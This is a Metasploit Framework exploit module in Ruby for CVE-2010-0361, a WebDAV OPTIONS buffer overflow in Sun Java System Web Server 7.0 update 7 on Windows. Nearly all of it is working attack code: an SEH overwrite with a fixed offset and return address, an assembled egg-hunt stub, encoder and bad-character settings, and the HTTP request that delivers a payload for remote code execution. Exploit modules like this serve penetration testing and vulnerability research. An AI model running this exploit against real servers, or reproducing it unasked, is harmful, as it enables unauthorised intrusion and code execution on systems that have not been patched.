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# $Id: sun_jsws_dav_options.rb 9971 2010-08-07 06:59:16Z jduck $
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
require 'msf/core/exploit/http/client'
class Metasploit3 < Msf::Exploit::Remote
Rank = GreatRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Remote::Seh
def initialize(info = {})
super(update_info(info,
'Name' => 'Sun Java System Web Server WebDAV OPTIONS Buffer Overflow',
'Description'=> %q{
This module exploits a buffer overflow in Sun Java Web Server prior to
version 7 Update 8. By sending an "OPTIONS" request with an overly long
path, attackers can execute arbitrary code. In order to reach the vulnerable
code, the attacker must also specify the path to a directory with WebDAV
enabled.
This exploit was tested and confirmed to work on Windows XP SP3 without DEP.
Versions for other platforms are vulnerable as well.
The vulnerability was originally discovered and disclosed by Evgeny Legerov of
Intevydis.
},
'Author' => 'jduck',
'Version'=> '$Revision: 9971 $',
'References' =>
[
[ 'CVE', '2010-0361' ],
[ 'OSVDB', '61851' ],
[ 'URL', 'http://intevydis.blogspot.com/2010/01/sun-java-system-web-server-70u7-webdav.html' ],
[ 'URL', 'http://sunsolve.sun.com/search/document.do?assetkey=1-66-275850-1' ]
],
'Platform' => [ 'win' ], #, 'linux', 'solaris', 'win' ],
'Privileged' => true,
'Payload'=>
{
'Space'=> 2000,
# ugh.. crazy!
'BadChars' => ((0..8).to_a + (0xa..0x1f).to_a + [0x7f]).pack('C*'),
'DisableNops' => true,
'EncoderType'=> Msf::Encoder::Type::AlphanumMixed,
'EncoderOptions' =>
{
'BufferRegister' => 'ECX',
}
},
'Targets'=>
[
# No automatic target atm...
#[ 'Automatic', { } ],
[ 'Sun Java System Web Server 7.0 update 7 on Windows x86 (SEH)',
{
'Platform' => 'win',
'Arch' => ARCH_X86,
'Offset' => 760,
'Ret'=> 0x12012177 # p/p/r in xerces-C_2_6.dll
},
],
=begin
[ 'Sun Java System Web Server 7.0 update 7 on Windows x86 (saved ret)',
{
'Platform' => 'win',
'Arch' => ARCH_X86,
'Offset' => 184,
'Ret'=> 0xdeadbeef
},
],
[ 'Sun Java System Web Server 7.0 update 7 on Linux x86',
{
'Platform' => 'linux',
'Arch' => ARCH_X86,
'Offset' => 224,
# @ 220 - 0x09703e90
'Ret'=> 0xdeadbeef
},
],
[ 'Sun Java System Web Server 7.0 update 7 on Windows x86',
{
'Platform' => 'solaris',
'Arch' => ARCH_SPARC,
'Offset' => 3133,
'Ret'=> 0xdeadbeef
},
],
=end
#
# You can use this in order to devise other targets..
#
[ 'Debug Target', { } ]
],
'DisclosureDate' => 'Jan 20 2010',
'DefaultTarget' => 0))
register_options(
[
OptString.new('PATH', [ true,"The URI path of a WebDAV collection on the server", '/webdav'])
], self.class)
end
def check
res = send_request_raw(
{
'method'=> 'OPTIONS',
'proto' => 'HTTP',
'version' => '1.0',
'uri' => datastore['PATH']
}, 5)
info = http_fingerprint({ :response => res })# check method
if (info =~ /Sun/)
print_status("Found server: #{info}")
return Exploit::CheckCode::Detected
end
Exploit::CheckCode::Safe
end
def exploit
#
# various crashes from linux sjsws 7u7:
#
# 216 - 0xb5a7a384 <DACL_isMatchingSelf@plt+256>: jmp*0x268(%ebx), ebx: 0x41386741
# 220 - 0xb5a80000 <_ZN16DAVVirtualServerD1Ev+148>: add%ah,0x84d8bff(%edi,%edi,8), edi: 0x31684130
# 224 - 0x68413368 in ?? ()
# 244 - 0xb5a80ba4 <DACL_GetDACLListForUri+164>:movl $0xffffffff,(%eax), eax: 0x41306941
# 248 - 0xb5a836e7 <DACL_ReadDACLFile+79>:movl $0x0,(%edx), edx: 0x69413169
#
# on windows sjsws 7u7:
#
# 200 - 67413167 ?????
# 2000 - smashes SEH, hits end of stack, 357a4134
#
uri = ''
uri << datastore['PATH']
uri << '/' if uri[-1,1] != '/'
# Just crash it nicely...
if (target.name =~ /Debug Target/)
uri << Rex::Text.pattern_create(2000)
encoded = "\xcc"
encoded << "A" * (payload_space - 2)
encoded << "\xcc"
#sled = Rex::Text.charset_exclude(payload_badchars)
#encoded[32,sled.length] = sled
elsif (target.name =~ /\(SEH\)/)
off = target['Offset']
rest = ''
rest << rand_text_alphanumeric(off)
seh = generate_seh_record(target.ret)
stub = "
sub esp, -0x1a0
pop ecx
pop ecx
sub ecx, 0x3c
still:
mov al, [ecx]
cmp al, 0x41
jne nope
inc ecx
jmp still
nope:
jmp ecx
"
seh << Metasm::Shellcode.assemble(Metasm::Ia32.new, stub).encode_string
rest << Rex::Text.to_hex(seh, '%')
rest << "A" * 256
rest << payload.encoded
rest << rand_text_alphanumeric(2200 - rest.length)
uri << rest
encoded = rand_text_alphanumeric(32+rand(64))
# From CORE local PoC
#uri = '/' + ("D"*2000) + '/..' + datastore['PATH'] + '/' + rest
end
# NOTE: We could use this to avoid badchars, but it ends up putting a url encoded version
# of the payload in memory, not exactly what we want :-/
#encoded = Rex::Text.to_hex(pl, '%')
res = send_request_raw({
'method'=> 'OPTIONS',
'proto' => 'HTTP',
'version' => '1.0',
'headers' =>
{
'Referrer' => encoded,
'User-Agent' => encoded
},
'uri' => uri
}, 5)
handler
end
end
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